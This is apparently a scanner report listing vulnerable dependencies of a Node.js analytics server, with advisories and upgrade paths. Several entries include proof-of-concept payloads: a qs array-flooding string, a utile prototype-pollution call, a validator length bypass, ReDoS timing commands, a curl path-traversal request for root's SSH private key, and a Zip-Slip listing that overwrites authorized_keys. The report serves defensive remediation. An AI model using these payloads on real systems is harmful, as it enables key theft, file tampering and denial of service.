Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › js-yaml@3.7.0Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › js-yaml@3.5.5
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › js-yaml@3.5.5
Overview
js-yaml is a human-friendly data serialization language.
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in merge key (<<) handling during YAML parsing, where each mapping in a chain re-enumerates the keys inherited from the previous mapping. An attacker can exhaust CPU and cause denial of service by supplying a document with N chained merge mappings, which forces roughly O(N^2) work for O(N) input. Exploitation requires the application to parse untrusted YAML with the default or YAML11 schema, under which merge keys are resolved.
Remediation
Upgrade js-yaml to version 3.15.0, 4.3.0 or higher.
References
high severity
- Vulnerable module: minimatch
- Introduced through: grunt@1.0.1, sails@0.12.14 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › minimatch@3.0.8Remediation: Upgrade to grunt@1.6.2.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › minimatch@3.0.8Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-watch@1.0.0 › gaze@1.1.3 › globule@1.3.4 › minimatch@3.0.8
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › gaze@1.1.3 › globule@1.3.4 › minimatch@3.0.8
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-watch@1.0.0 › gaze@1.1.3 › globule@1.3.4 › minimatch@3.0.8
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-sync@0.5.2 › glob@4.5.3 › minimatch@2.0.10Remediation: Upgrade to grunt-sync@0.6.2.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-sync@0.5.2 › glob@4.5.3 › minimatch@2.0.10Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › zip-folder@1.0.0 › archiver@0.11.0 › glob@3.2.11 › minimatch@0.3.0
Overview
minimatch is a minimal matching utility.
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the matchOne function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.
Remediation
Upgrade minimatch to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.
References
high severity
- Vulnerable module: minimatch
- Introduced through: grunt@1.0.1, sails@0.12.14 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › minimatch@3.0.8Remediation: Upgrade to grunt@1.6.2.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › minimatch@3.0.8Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-watch@1.0.0 › gaze@1.1.3 › globule@1.3.4 › minimatch@3.0.8
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › gaze@1.1.3 › globule@1.3.4 › minimatch@3.0.8
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-watch@1.0.0 › gaze@1.1.3 › globule@1.3.4 › minimatch@3.0.8
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-sync@0.5.2 › glob@4.5.3 › minimatch@2.0.10Remediation: Upgrade to grunt-sync@0.6.2.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-sync@0.5.2 › glob@4.5.3 › minimatch@2.0.10Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › zip-folder@1.0.0 › archiver@0.11.0 › glob@3.2.11 › minimatch@0.3.0
Overview
minimatch is a minimal matching utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the AST class, caused by catastrophic backtracking when an input string contains many * characters in a row, followed by an unmatched character.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade minimatch to version 3.1.3, 4.2.4, 5.1.7, 6.2.1, 7.4.7, 8.0.5, 9.0.6, 10.2.1 or higher.
References
high severity
- Vulnerable module: multiparty
- Introduced through: git-server@github:chrisdobler/NodeJS-Git-Server and sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › git-server@github:chrisdobler/NodeJS-Git-Server › connect@2.9.2 › multiparty@2.2.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › multiparty@3.3.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6 › multiparty@3.2.10Remediation: Upgrade to sails@1.1.0.
Overview
multiparty is a multipart/form-data parser which supports streaming
Affected versions of this package are vulnerable to Improper Handling of Exceptional Conditions via the filename* parameter parsing in multipart form-data requests. An attacker can cause the process to crash by sending a request with a malformed percent-encoding in the filename* parameter, which triggers an uncaught exception.
Remediation
Upgrade multiparty to version 4.3.0 or higher.
References
high severity
- Vulnerable module: multiparty
- Introduced through: git-server@github:chrisdobler/NodeJS-Git-Server and sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › git-server@github:chrisdobler/NodeJS-Git-Server › connect@2.9.2 › multiparty@2.2.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › multiparty@3.3.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6 › multiparty@3.2.10Remediation: Upgrade to sails@1.1.0.
Overview
multiparty is a multipart/form-data parser which supports streaming
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the Content-Disposition filename parameter parsing. An attacker can cause excessive resource consumption and block the event loop by submitting a multipart upload with a specially crafted long header value that triggers regular expression backtracking.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade multiparty to version 4.3.0 or higher.
References
high severity
- Vulnerable module: multiparty
- Introduced through: git-server@github:chrisdobler/NodeJS-Git-Server and sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › git-server@github:chrisdobler/NodeJS-Git-Server › connect@2.9.2 › multiparty@2.2.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › multiparty@3.3.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6 › multiparty@3.2.10Remediation: Upgrade to sails@1.1.0.
Overview
multiparty is a multipart/form-data parser which supports streaming
Affected versions of this package are vulnerable to Uncaught Exception through the parsing of multipart/form-data requests containing field names that collide with inherited Object.prototype properties. An attacker can cause the process to crash by sending specially crafted requests that trigger an uncaught exception.
Remediation
Upgrade multiparty to version 4.3.0 or higher.
References
high severity
- Vulnerable module: qs
- Introduced through: node-sass@4.14.1, yarn@0.27.5 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › request@2.88.2 › qs@6.5.5
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › yarn@0.27.5 › request@2.88.2 › qs@6.5.5
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › ghoulies@0.0.2 › jsdom@9.12.0 › request@2.88.2 › qs@6.5.5
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-less@1.3.0 › less@2.6.1 › request@2.88.2 › qs@6.5.5
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2 › qs@6.5.5
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › request@2.88.2 › qs@6.5.5
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-less@1.3.0 › less@2.6.1 › request@2.88.2 › qs@6.5.5
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › git-server@github:chrisdobler/NodeJS-Git-Server › connect@2.9.2 › qs@0.6.5
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-watch@1.0.0 › tiny-lr@0.2.1 › body-parser@1.14.2 › qs@5.2.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-watch@1.0.0 › tiny-lr@0.2.1 › body-parser@1.14.2 › qs@5.2.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-watch@1.0.0 › tiny-lr@0.2.1 › qs@5.1.0Remediation: Upgrade to grunt-contrib-watch@1.1.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-watch@1.0.0 › tiny-lr@0.2.1 › qs@5.1.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › request@2.81.0 › qs@6.4.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6 › body-parser@1.17.1 › qs@6.4.0Remediation: Upgrade to sails@1.1.0.
Overview
qs is a querystring parser that supports nesting and arrays, with a depth limit.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via improper enforcement of the arrayLimit option in bracket notation parsing. An attacker can exhaust server memory and cause application unavailability by submitting a large number of bracket notation parameters - like a[]=1&a[]=2 - in a single HTTP request.
PoC
const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length); // Output: 10000 (should be max 100)
Remediation
Upgrade qs to version 6.14.1 or higher.
References
high severity
- Vulnerable module: socket.io-parser
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-parser@2.3.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-adapter@0.5.0 › socket.io-parser@2.3.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-client@1.7.3 › socket.io-parser@2.3.1Remediation: Upgrade to sails@1.0.0.
Overview
socket.io-parser is a socket.io protocol parser
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Decoder class, which accepts an unlimited number of binary attachments. An attacker can exploit this to exhaust server memory.
Remediation
Upgrade socket.io-parser to version 3.3.5, 3.4.4, 4.2.6 or higher.
References
high severity
new
- Vulnerable module: tar
- Introduced through: node-sass@4.14.1 and nodegit@0.18.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as src/extract.ts. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.
Remediation
Upgrade tar to version 7.5.19 or higher.
References
high severity
new
- Vulnerable module: tar
- Introduced through: node-sass@4.14.1 and nodegit@0.18.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Infinite loop via the replace method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.
Remediation
Upgrade tar to version 7.5.18 or higher.
References
high severity
- Vulnerable module: tmp
- Introduced through: yarn@0.27.5
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › yarn@0.27.5 › inquirer@3.3.0 › external-editor@2.2.0 › tmp@0.0.33
Overview
Affected versions of this package are vulnerable to Directory Traversal via unsanitized input in the prefix, postfix, or dir parameters during path construction. An attacker can create files outside the intended temporary directory, potentially overwriting or placing files in sensitive locations, by supplying crafted values containing traversal sequences or absolute paths.
Note:
The fix for this issue was incomplete and led to a bypass, known as CVE-2026-49982. Users are recommended to upgrade to version 0.2.7 to get a complete fix for this issue.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tmp to version 0.2.6 or higher.
References
high severity
- Vulnerable module: tmp
- Introduced through: yarn@0.27.5
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › yarn@0.27.5 › inquirer@3.3.0 › external-editor@2.2.0 › tmp@0.0.33
Overview
Affected versions of this package are vulnerable to Directory Traversal due to the improper sanitization of non-string values in the prefix, postfix, or dir parameters during path construction. An attacker can create files outside the intended temporary directory, potentially overwriting or placing files in sensitive locations, by supplying crafted values containing traversal sequences or absolute paths.
Note:
This issue is due to an incomplete fix for CVE-2026-44705. Added _assertPath as a guard does not account for non-string values.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tmp to version 0.2.7 or higher.
References
high severity
- Vulnerable module: utile
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › prompt@0.2.14 › utile@0.2.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › prompt@0.2.14 › utile@0.2.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › prompt@0.2.14 › utile@0.2.1
Overview
utile is a drop-in replacement for util with some additional advantageous functions.
Affected versions of this package are vulnerable to Prototype Pollution through the createPath function. An attacker can disrupt service by supplying a crafted payload with Object.prototype setter to introduce or modify properties within the global prototype chain.
PoC
(async () => {
const lib = await import('utile');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.createPath (someObj, [["__proto__"], "pollutedKey"], "pollutedValue")
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
There is no fixed version for utile.
References
high severity
- Vulnerable module: validator
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › anchor@0.10.5 › validator@3.41.3Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › anchor@0.11.6 › validator@4.4.0Remediation: Upgrade to sails@1.0.0.
Overview
validator is a library of string validators and sanitizers.
Affected versions of this package are vulnerable to Incomplete Filtering of One or More Instances of Special Elements in the isLength() function that does not take into account Unicode variation selectors (\uFE0F, \uFE0E) appearing in a sequence which lead to improper string length calculation. This can lead to an application using isLength for input validation accepting strings significantly longer than intended, resulting in issues like data truncation in databases, buffer overflows in other system components, or denial-of-service.
PoC
Input;
const validator = require('validator');
console.log(`Is "test" (String.length: ${'test'.length}) length less than or equal to 3? ${validator.isLength('test', { max: 3 })}`);
console.log(`Is "test" (String.length: ${'test'.length}) length less than or equal to 4? ${validator.isLength('test', { max: 4 })}`);
console.log(`Is "test\uFE0F\uFE0F\uFE0F\uFE0F" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length less than or equal to 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F', { max: 4 })}`);
Output:
Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true
Remediation
Upgrade validator to version 13.15.22 or higher.
References
high severity
- Vulnerable module: whet.extend
- Introduced through: css-loader@0.25.0
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › whet.extend@0.9.9
Overview
whet.extend is an A sharped version of port of jQuery.extend that actually works on node.js
Affected versions of this package are vulnerable to Prototype Pollution due to improper user input sanitization when using the extend and _findValue functions.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
